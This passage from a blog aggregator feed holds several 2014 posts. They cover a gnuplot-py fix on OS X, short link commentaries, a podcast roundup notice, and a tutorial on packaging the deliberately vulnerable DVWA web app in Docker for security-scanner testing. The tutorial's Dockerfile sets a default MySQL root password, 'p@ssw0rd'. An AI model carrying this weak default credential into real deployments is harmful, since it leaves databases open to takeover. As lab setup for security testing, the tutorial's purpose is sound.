&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_platform&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;darwin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;linux&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="c1"&gt;# replace it with 'linux'
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Gnuplot&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Gnuplot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;funcutils&lt;/span&gt; &lt;span class="c1"&gt;# import Gnuplot
&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_platform&lt;/span&gt; &lt;span class="c1"&gt;# restore it
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It temporarily changes &lt;code class="language-plaintext highlighter-rouge"&gt;sys.platform&lt;/code&gt; value, which &lt;code class="language-plaintext highlighter-rouge"&gt;gnuplot-py&lt;/code&gt; &lt;a href="https://github.com/jrk/gnuplot-py/blob/96b7c7ec81daa560325f4568393e300de020c353/gp.py#L28-39"&gt;is relying on&lt;/a&gt;,
to &lt;code class="language-plaintext highlighter-rouge"&gt;"linux"&lt;/code&gt;, import Gnuplot and then restore it back to its previous value
(&lt;code class="language-plaintext highlighter-rouge"&gt;"darwin"&lt;/code&gt;).&lt;/p&gt;

&lt;h2 id="the-clean-way"&gt;The clean way&lt;/h2&gt;

&lt;p&gt;In fact there’s a much cleaner way to fix the warning. The default terminal is
stored in &lt;a href="https://github.com/jrk/gnuplot-py/blob/96b7c7ec81daa560325f4568393e300de020c353/gp_unix.py#L86-91"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;GnuplotOpts.default_term&lt;/code&gt;&lt;/a&gt;, so we just need to change
it to another value to fix the warning:&lt;/p&gt;

&lt;div class="language-py highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Gnuplot&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Gnuplot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;funcutils&lt;/span&gt;
&lt;span class="n"&gt;Gnuplot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GnuplotOpts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_term&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;x11&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s cleaner than the hacky way because:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It’s clear: the second line is pretty explicit: we change &lt;code class="language-plaintext highlighter-rouge"&gt;default_term&lt;/code&gt; to
&lt;code class="language-plaintext highlighter-rouge"&gt;'x11'&lt;/code&gt;. We don’t even need to add a comment.&lt;/li&gt;
  &lt;li&gt;It’s more maintainable: if OSX’s &lt;code class="language-plaintext highlighter-rouge"&gt;gnuplot-py&lt;/code&gt; interface change in the
future, this piece of code won’t break compatibility while the hacky way
will prevent our code to use the new interface.&lt;/li&gt;
  &lt;li&gt;It’s shorter: one line versus five ones. It’s really easier to introduce
bugs when using five lines instead of just one.&lt;/li&gt;
&lt;/ol&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Mon, 03 Mar 2014 09:46:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2014/03/03/fixing-gnuplot-pys-unknown-aqua-terminal-warning-on-osx/</guid></item><item><title>The Conglomeratization of US Internet Companies</title><link>http://digitstodollars.com/2014/02/25/314/</link><description>&lt;p&gt;Just as early nineteenth century Americans took Britain&amp;#8217;s manufacturing process, improved upon it, and quickly outpaced the nation from which they originally learned from, so too it appears China learned from the early mistakes that befell American internet companies, improved upon their flaws, and now seeks to outpace the country from which they drew those original lessons. So says this article from &lt;a href="http://digitstodollars.com"&gt;Digits to Dollars&lt;/a&gt;, anyway, and after reading it I am inclined to agree: as of late the notion of Google becoming an internet conglomerate, or &amp;#8220;General Internet&amp;#8221; as Horace Dediu and many others have put it, has gained a significant amount of traction. The larger notion of &amp;#8220;conglomeratization&amp;#8221; has also grown quite popular, and with Facebook&amp;#8217;s recent acquisition of Whatsapp some have even gone on to say that Facebook could become &lt;a href="http://stratechery.com/2014/social-conglomerate/"&gt;the social conglomerate&lt;/a&gt;. Halfway around the world, however, as this article from Digits to Dollars points out, many Chinese internet companies have already made the switch that only the largest American internet companies are just now showing signs of considering. Very interesting, and possible even telling, observation.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://digitstodollars.com/2014/02/25/314/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 02 Mar 2014 14:39:07 GMT</pubDate><guid isPermaLink="true">http://digitstodollars.com/2014/02/25/314/</guid></item><item><title>Is "Fake It 'Til You Make It" The Reason We're So Screwed?</title><link>http://www.financialsamurai.com/is-fake-it-until-you-make-it-the-reason-why-we-are-so-screwed/</link><description>&lt;p&gt;The &amp;#8220;fake it &amp;#8217;till you make it&amp;#8221; mentality and impostor syndrome are closely linked, in that the former is often cited as a solution to the latter. Especially in the creative professions, where impostor syndrome seems nearly as common as clicky keyboards, many advocate overriding that feeling of inadequacy with a philosophy that accepts it as a given and pushes you past it: you may feel like an impostor&amp;#160;&amp;#8212;&amp;#160;a fake&amp;#160;&amp;#8212;&amp;#160;but that&amp;#8217;s okay, because you can fake it until you actually meet your expectations in a particular area&amp;#160;&amp;#8212;&amp;#160;in other words, until you make it. If an article on that mentality&amp;#8217;s adverse effects does not interest you though&amp;#160;&amp;#8212;&amp;#160;and really, if you fall prey or subscribe to either frame of mind, it should&amp;#160;&amp;#8212;&amp;#160;come for Sam&amp;#8217;s look into the &amp;#8220;dark&amp;#8221;, less morally-sound side of making money on the internet. The same group that often suffers from impostor syndrome simultaneously prize making money ethically through relationships with those they create for. Not everyone on the internet has this same value system though, so coming from the former I found it interesting to read about the perspective of the latter.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.financialsamurai.com/is-fake-it-until-you-make-it-the-reason-why-we-are-so-screwed/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 02 Mar 2014 09:50:44 GMT</pubDate><guid isPermaLink="true">http://www.financialsamurai.com/is-fake-it-until-you-make-it-the-reason-why-we-are-so-screwed/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-3214.html</link><description>&lt;p&gt;I have long wanted for a place I could link to great podcasts and point out particularly spectacular episodes, but neither my site nor my now-deceased newsletter seemed like the appropriate venue for such posts. Nevertheless, for especially noteworthy shows, I have broken this unspoken rule and linked to Exponent&amp;#8217;s &lt;a href="https://zacs.site/blog/the-garbage-truck-song.html"&gt;The Garbage Truck Song&lt;/a&gt;, for example, and The Weekly Briefly&amp;#8217;s &lt;a href="https://zacs.site/blog/a-writing-guide.html"&gt;A Writing Guide&lt;/a&gt;. Yet although I did occasionally point out an especially good episode here on my site, countless others went unmentioned and thus unlauded for excellence in any number of areas merely because I lacked a medium in which to highlight such work. Today, hot on the heels of &lt;a href="https://zacs.site/blog/me-the-writer.html"&gt;ending my last weekly publication&lt;/a&gt;, I will begin posting another weekly roundup&amp;#160;&amp;#8212;&amp;#160;this time here on my site&amp;#160;&amp;#8212;&amp;#160;showcasing the past week&amp;#8217;s greatest additions to the podcasting industry.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-3214.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 02 Mar 2014 09:09:02 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-3214.html</guid></item><item><title>Docker DVWA Container How-To</title><link>https://blog.tjll.net/docker-dvwa-container/</link><description>&lt;div class="figure" id="org68ca0f8"&gt;
&lt;p&gt;&lt;img alt="docker.png" class="mainline" src="../assets/images/docker.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 1: &lt;/span&gt;Docker&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
&lt;a href="http://docker.io"&gt;Docker&lt;/a&gt; is an interesting &lt;a href="https://en.wikipedia.org/wiki/Cgroups"&gt;cgroups&lt;/a&gt;-based virtualization alternative that uses containers to deploy applications.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
Docker and solutions like it are useful because:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Application deployments occur in identical environments, eliminating per-host quirks&lt;/li&gt;
&lt;li&gt;Process isolation strategies incur lower overheads than emulating hardware devices&lt;/li&gt;
&lt;li&gt;Images can be built, shared, and re-used in a repeatable way&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Lately I've been looking at vulnerable webapp sandboxes such as &lt;a href="http://www.dvwa.co.uk/"&gt;DVWA&lt;/a&gt; to test vulnerability scanners like &lt;a href="http://www.arachni-scanner.com/"&gt;Arachni&lt;/a&gt; against. Therefore, why not try using docker as an easy way to compartmentalize this and make deployment easier?
&lt;/p&gt;

&lt;p&gt;
Not only will this tutorial be helpful in understanding how Docker works, but security enthusiasts will get a ridiculously easy way to deploy DVWA on (most) OSes. Let's get started!
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-introduction"&gt;
&lt;h4 id="introduction"&gt;Introduction&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org90ac8d9"&gt;
&lt;p&gt;
In this howto I'm going to explain:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Docker itself&lt;/li&gt;
&lt;li&gt;Creating custom Docker images&lt;/li&gt;
&lt;li&gt;A step-by-step custom DVWA Dockerfile example&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The end result of this exercise will be a Dockerfile and Docker image that can run DVWA for you with the ease of a &lt;code&gt;docker run dvwa&lt;/code&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-docker"&gt;
&lt;h5 id="docker"&gt;Docker&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org87d843f"&gt;
&lt;p&gt;
Docker is still under heavy development but works perfectly well for experimental and development purposes like ours. To learn all about the technology and philosophy behind docker, take a look at their excellent &lt;a href="https://www.docker.io/gettingstarted/"&gt;getting started&lt;/a&gt; page.
&lt;/p&gt;

&lt;p&gt;
Look to that same page to get Docker installed. Note that Docker uses very Linux-specific technologies like cgroups and Aufs to work, so if you're not on a relatively up-to-date Linux distro, you'll likely have to run on top of a thin VirtualBox VM for this exercise.
&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;
Why am I using Docker in a virtual machine? Doesn't that defeat the purpose?
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;
For this exercise? A little. But by following the getting started guide, you're preparing to run other docker images essentially instantaneously, and have the capability to deploy them on any Docker instance, whether on your desktop, EC2, a VPS, etc.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-tutorial"&gt;
&lt;h4 id="tutorial"&gt;Tutorial&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-tutorial"&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-docker-installation"&gt;
&lt;h5 id="docker-installation"&gt;Docker Installation&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org496eed0"&gt;
&lt;p&gt;
Use Docker's excellent getting started page to set up docker (most unices and Windows are supported, with the aforementioned caveats.) Once you can invoke &lt;code&gt;docker version&lt;/code&gt; and see both client and server versions, you're good to get going.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;Note&lt;/b&gt;: OS X users: be sure to read the additional comments regarding opening ports for your VirtualBox image obtained from boot2docker.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-first-image"&gt;
&lt;h5 id="first-image"&gt;First Image&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orga648060"&gt;
&lt;p&gt;
We're going to be setting up DVWA within a Docker container to be a webapp security testing sandbox. DVWA requires a basic &lt;a href="https://stackoverflow.com/questions/10060285/what-is-a-lamp-stack"&gt;LAMP&lt;/a&gt; stack, so let's begin there.
&lt;/p&gt;

&lt;p&gt;
With your working &lt;code&gt;docker&lt;/code&gt; command, just issue the following command to find Docker images that contain the string 'lamp':
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker search lamp&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;pre class="example" id="org0de3d28"&gt;
&lt;code&gt;NAME                      DESCRIPTION            STARS OFFICIAL TRUSTED&lt;/code&gt;
&lt;code&gt;ricardoamaro/drupal-lamp  https://github.co...   2&lt;/code&gt;
&lt;code&gt;tutum/lamp                LAMP image - Apac...   2              [OK]&lt;/code&gt;
&lt;code&gt;mbkan/lamp                centos with ssh, ...   1&lt;/code&gt;
&lt;code&gt;dockerfiles/centos-lamp                          1              [OK]&lt;/code&gt;
&lt;code&gt;jbfink/lampstack          A stock Linux-Apa...   1&lt;/code&gt;
&lt;code&gt;zorrme/lamp                                      0&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
What's happening here is that the Docker &lt;a href="https://index.docker.io/"&gt;index&lt;/a&gt; is being searched for matching images. Many of these images are based off of even more primitive images and customized with Dockerfiles, which is what we'll be doing to an image that provides the LAMP stack we need.
&lt;/p&gt;

&lt;p&gt;
We're going to use &lt;code&gt;dockerfiles/centos-lamp&lt;/code&gt; for our base image, as CentOS is pretty solid and we can explore its existing dockerfile pretty easily.
&lt;/p&gt;

&lt;p&gt;
Issue the command:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker pull dockerfiles/centos-lamp&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
While that's running, take a look at the image's &lt;a href="https://index.docker.io/u/dockerfiles/centos-lamp/"&gt;source&lt;/a&gt;. That Dockerfile you're looking at, along with the accompanying files from the corresponding &lt;a href="https://github.com/dockerfiles/centos-lamp"&gt;github repo&lt;/a&gt;, are what created the image you're pulling from the index right now &amp;ndash; pretty simple.
&lt;/p&gt;

&lt;p&gt;
I'd encourage you to read the short Dockerfile and look at some Dockerfile resources to understand what's going on there. We'll be doing the same ourselves with it as a base image.
&lt;/p&gt;

&lt;p&gt;
With the image pulled from the index, check that it's available with:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker images&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
(if the image isn't listed, try to &lt;code&gt;pull&lt;/code&gt; again)
&lt;/p&gt;

&lt;p&gt;
Now we can try running the container. There are a myriad of switches that you can pass to the &lt;code&gt;docker run&lt;/code&gt; command, but we're going to use just a couple here to achieve what we need:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker run -d -p 49001:80 dockerfiles/centos-lamp&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Wait for the command to successfully return (Docker will return the numeric ID of the new container it's running.) then:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker ps&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
If you see a running image, you're good to go! Try browsing to &lt;a href="http://localhost:49001"&gt;http://localhost:49001&lt;/a&gt;. You should see the boilerplate CentOS landing page. Try browsing to &lt;a href="http://localhost:49001/phpinfo.php"&gt;http://localhost:49001/phpinfo.php&lt;/a&gt; as well to confirm php is working.
&lt;/p&gt;

&lt;p&gt;
So what happened here? In short:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;docker run&lt;/code&gt; instructs the Docker daemon to begin execution of a container&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;-d&lt;/code&gt; flag sets the execution to begin in daemon mode, e.g. run in the background&lt;/li&gt;
&lt;li&gt;Apache's port 80 listener is exposed via the -p flag to the local port 49001&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;CMD&lt;/code&gt; directive in the image's &lt;code&gt;Dockerfile&lt;/code&gt; runs apache and mysql under supervisord (a small python application that keeps programs daemonized)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
A successful phpinfo page indicates our container is up and accessible. Time to customize it.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-custom-dockerfile"&gt;
&lt;h5 id="custom-dockerfile"&gt;Custom dockerfile&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org801eb93"&gt;
&lt;p&gt;
Dockerfiles are easy-to-understand instructions that tell Docker how to build an image. Each &lt;code&gt;RUN&lt;/code&gt; directive in a Dockerfile executes commands, then "commits" those changes to the filesystem to the image you're building like git or mercurial would do.
&lt;/p&gt;

&lt;p&gt;
The best way to visualize this is to write one. Following where we left off, we've got a Docker image that can run a lamp stack for us - the same architecture that DVWA needs to run. DVWA is easy to set up &amp;ndash; the steps to install are:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Download and extract the source&lt;/li&gt;
&lt;li&gt;Set relevant database connection credentials&lt;/li&gt;
&lt;li&gt;Run apache and mysql&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
First, if your old container is still running, stop it:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker stop &lt;span class="org-sh-quoted-exec"&gt;`docker ps -q`&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now create a working directory for your Docker image source:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;mkdir ~/docker &amp;amp;&amp;amp; &lt;span class="org-builtin"&gt;cd&lt;/span&gt; ~/docker &amp;amp;&amp;amp; vim Dockerfile&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now we're in our Dockerfile. Here are the directives we'll use to start off with:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;First we define the base image we're building off of &amp;ndash; the same one we ran phpinfo on. It gives us an environment with apache, mysql, and php.
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;FROM dockerfiles/centos-lamp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Identify who built this Dockerfile.
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;MAINTAINER You &amp;lt;you@yourdomain.com&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;All directives that follow WORKDIR will take place in the indicated path. By default CentOS places Apache's files here, so we'll do the same with DVWA.
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;WORKDIR /var/www/html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Now we're going to make some actual filesystem changes with &lt;code&gt;RUN&lt;/code&gt;. All this directive does is fetch the DVWA source and pipe the tarball to standard output, which tar extracts into the current working directory (the strip-components just gets rid of the containing directory so that all the source files are directly extracted to the working directory.)
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;RUN wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.tar.gz -O- | tar xvz --strip-components=1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;We've got the source code, now we need to ensure DVWA can talk to our database. The following &lt;code&gt;RUN&lt;/code&gt; directive will start MySQL, set root's password to the DVWA default and stop MySQL again (default passwords usually aren't a good thing, but DVWA is vulnerable by definition, right?)
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;RUN service mysqld start &amp;amp;&amp;amp; mysqladmin -uroot password p@ssw0rd &amp;amp;&amp;amp; service mysqld stop&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Expose port 80 in the container so that when we run Apache, we can access it:
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;EXPOSE 80&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;On a normal host, you'd run MySQL and Apache with init scripts. However, Docker and similar solutions operate under the assumption that you're using the container to run a single process. If we were to break out this project into a MySQL container and an Apache container that would work fine, but we want to wrap everything into one container. &lt;a href="http://supervisord.org/"&gt;Supervisord&lt;/a&gt; is a python program that can run and keep track of multiple processes, so by using supervisord in the same way as the base image we're basing this off of, MySQL and Apache run side by side.
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;CMD ["supervisord", "-n"]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Which, put together, gives us our master Dockerfile:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Dockerfile&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-dockerfile-image-name"&gt;Font to highlight the base image name after FROM instruction.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-dockerfile"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;FROM&lt;/span&gt; &lt;span class="org-dockerfile-image-name"&gt;dockerfiles/centos-lamp&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;MAINTAINER&lt;/span&gt; You &lt;a href="mailto:you%40yourdomain.com"&gt;&amp;lt;you@yourdomain.com&amp;gt;&lt;/a&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;WORKDIR&lt;/span&gt; /var/www/html&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;RUN&lt;/span&gt; wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.tar.gz -O- | tar xvz --strip-&lt;span class="org-variable-name"&gt;components&lt;/span&gt;=1&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;RUN&lt;/span&gt; service mysqld start &amp;amp;&amp;amp; mysqladmin -uroot password p@ssw0rd &amp;amp;&amp;amp; service mysqld stop&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;EXPOSE&lt;/span&gt; 80&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;CMD&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;[&lt;/span&gt;&lt;span class="org-string"&gt;"supervisord"&lt;/span&gt;, &lt;span class="org-string"&gt;"-n"&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now, from within the directory that contains the Dockerfile, issue the command:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker build -t dvwa .&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
You'll see lots of stuff fly past the screen &amp;ndash; mostly fetching the source code and extracting it. We also passed the &lt;code&gt;-t&lt;/code&gt; flag to the build command to tag our image with the name 'dvwa' so that we can run it easily without using the new image's hash. Once it's finished, look for your newly minted image.
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker images&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
The 'dvwa' image is your newly build docker image. Issue the following command to run the container in daemonized mode and tell it to auto-assign a port for you:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;docker run -d -p 80 dvwa&lt;/code&gt;
&lt;code&gt;docker ps&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
The &lt;code&gt;ps&lt;/code&gt; command will show you the external listener that Docker has mapped to port 80 on the container. Browse to &lt;a href=""&gt;http://localhost:[port]&lt;/a&gt; and DVWA will ask you to initialize the database. Just follow the instructions for DVWA from here on out.
&lt;/p&gt;

&lt;p&gt;
While running, there are some useful commands you can use to control the running container. The &lt;code&gt;ps&lt;/code&gt; command will offer you some information about all containers, most usefully exposed ports. &lt;code&gt;docker logs &amp;lt;container id&amp;gt;&lt;/code&gt; will show you what the container has been logging (try it out to see supervisord's output.) When you're finished, use &lt;code&gt;docker stop &amp;lt;contiainer id&amp;gt;&lt;/code&gt; to stop the container.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;Note&lt;/b&gt;: Docker currently keeps around stopped images until removed. Although this preserves some state about your completed processes, if you want to start fresh images without cluttering up your disk, you can use &lt;code&gt;docker ps -a&lt;/code&gt; to find all containers (running or not) and &lt;code&gt;docker rm&lt;/code&gt; to forcibly remove running or terminated containers.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-where-from-here"&gt;
&lt;h4 id="where-from-here"&gt;Where From Here?&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgde136f5"&gt;
&lt;p&gt;
At this point you have a ready-made DVWA container for pentesting or similar exercises. You can take your Dockerfile and build images anywhere, wipe DVWA afresh if you bork your testing environment and start a new container, and run the image wherever Docker can run.
&lt;/p&gt;

&lt;p&gt;
As you can see, building images is fairly easy and lightweight. If anybody cares to create additional useful Docker images, feel free to email me or collaborate on github and I'll add additional notes about other Docker images.
&lt;/p&gt;

&lt;p&gt;
The slightly-enhanced version of this Dockerfile can be found on my &lt;a href="https://github.com/tylerjl/docker-dvwa"&gt;github repo&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Sun, 02 Mar 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/docker-dvwa-container/</guid></item><item><title>Doing math in real time</title><link>http://dimitarsimeonov.com/2014/03/02/doing-math-in-real-time</link><description>&lt;p&gt;I’ve also been taking a Karate class for the last two years, and recently it helped me reflect not just on my phisical strength and flexibility  but also on my mental strengths and weaknesses.&lt;/p&gt;

